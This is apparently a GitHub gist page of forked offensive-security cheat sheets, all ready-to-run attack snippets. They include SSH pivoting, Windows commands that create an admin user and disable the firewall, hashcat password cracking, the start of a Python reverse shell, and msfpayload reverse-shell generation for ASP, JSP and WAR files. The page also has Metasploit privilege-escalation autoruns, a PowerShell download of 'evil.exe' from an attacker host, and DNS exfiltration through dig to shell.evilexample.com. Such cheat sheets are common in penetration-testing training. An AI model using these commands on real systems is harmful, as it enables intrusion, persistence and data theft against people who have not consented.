Skip to content

Instantly share code, notes, and snippets.

@waywardsun
waywardsun / ssh_tricks
Created September 20, 2016 22:46 — forked from sckalath/ssh_tricks
ssh kung fu
##SOCKS Proxy##
#Set up a SOCKS proxy on 127.0.0.1:1080 that lets you pivot through the remote host (10.0.0.1):
#Command line:
ssh -D 127.0.0.1:1080 10.0.0.1
#~/.ssh/config:
Host 10.0.0.1
DynamicForward 127.0.0.1:1080
#You can then use tsocks or similar to use non-SOCKS-aware tools on hosts accessible from 10.0.0.1:
@waywardsun
waywardsun / windows_crap
Created September 20, 2016 22:46 — forked from sckalath/windows_crap
windows crap
#add a user
net user ryan mwcb /add
#add user to local administrators
net localgroup administrators /add ryan
#remove firewall
netsh firewall set opmode disable
#enabled remote desktop
@waywardsun
waywardsun / tricks
Created September 20, 2016 22:46 — forked from sckalath/tricks
tricks
#get a pty through python
python -c 'import pty; pty.spawn("/bin/bash");'
#grab the user agent from the http header on port 10443
tcpdump -A -l -vvvs 1024 -npi eth0 port 10443
#base64 decode a string
echo STRINGTODECODE | base64 --decode
#escape jail shell
@waywardsun
waywardsun / password_cracking
Created September 20, 2016 22:46 — forked from sckalath/password_cracking
password cracking
#cracks md5(unix) hash, places found passwords in found.txt, removes them from the hasth list and uses the rockyou wordlist
hashcat -m 500 -a 0 -o found.txt --remove hashes.txt /usr/share/wordlist/rockyou.txt
@waywardsun
waywardsun / simple_py_shell
Created September 20, 2016 22:46 — forked from sckalath/simple_py_shell
Simple Python Shell
#!/usr/bin/python
# imports here
# Copyright 2012 TrustedSec, LLC. All rights reserved.
#
# This piece of software code is licensed under the FreeBSD license..
#
# Visit http://www.freebsd.org/copyright/freebsd-license.html for more information.
import socket,subprocess
HOST = '192.168.12.45' # The remote host
PORT = 443 # The same port as used by the server
@waywardsun
waywardsun / wget_vbs
Created September 20, 2016 22:46 — forked from sckalath/wget_vbs
wget vbscript
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
@waywardsun
waywardsun / metasploit_snippets
Created September 20, 2016 22:45 — forked from sckalath/metasploit_snippets
Metasploit snippets
#autorun script (session.rc)
migrate -k -n explorer.exe
multi_console_command -cl "getsystem","getuid"
get_env
checkvm
#setting msf to use autorunscript above
set autorunscript multiscript.rb -rc /home/ryan/session.rc
@waywardsun
waywardsun / msfpayload_commands
Created September 20, 2016 22:45 — forked from sckalath/msfpayload_commands
msfpayload commands
# generate windows meterpreter on port 4444 that outputs an asp file
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.16.31 LPORT=4444 R | msfencode -o mwcb.asp -e generic/none -t asp
#generate jsp reverse tcp over port 443
msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.16.31 LPORT=443 R > jsprev.jsp
#would likely need to add this jsp to a WAR file for deployment
jar -cvf jsprev.war * #from within the main war directory that also contains the WEB-INF dir
#simple javascript reverse shell over port 443
@waywardsun
waywardsun / powershell_snippets
Created September 20, 2016 22:45 — forked from sckalath/powershell_snippets
Powershell Snippets
# Transfer file from attacking box to victim
powershell.exe -noprofile -noninteractive -command "[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true}; $source="""http://attackerip/evil.exe"""; $destination="""C:\destination_file.exe"""; $http=new-object System.Net.WebClient; $response=$http.DownloadFile($source,$destination);"
@waywardsun
waywardsun / dns_egress_nix
Created September 20, 2016 22:44 — forked from sckalath/dns_egress_nix
DNS transfer on Linux
On victim:
1. Hex encode the file to be transferred:
xxd -p secret file.hex
2. Read in each line and do a DNS lookup:
for b in 'cat file.hex'; do dig $b.shell.evilexample.com;done
On attacker:
1. Capture DNS exfil packets
tcpdump -w /tmp/dns -s0 port 53 and host system.example.com
2. Cut the exfilled hex from the DNS packet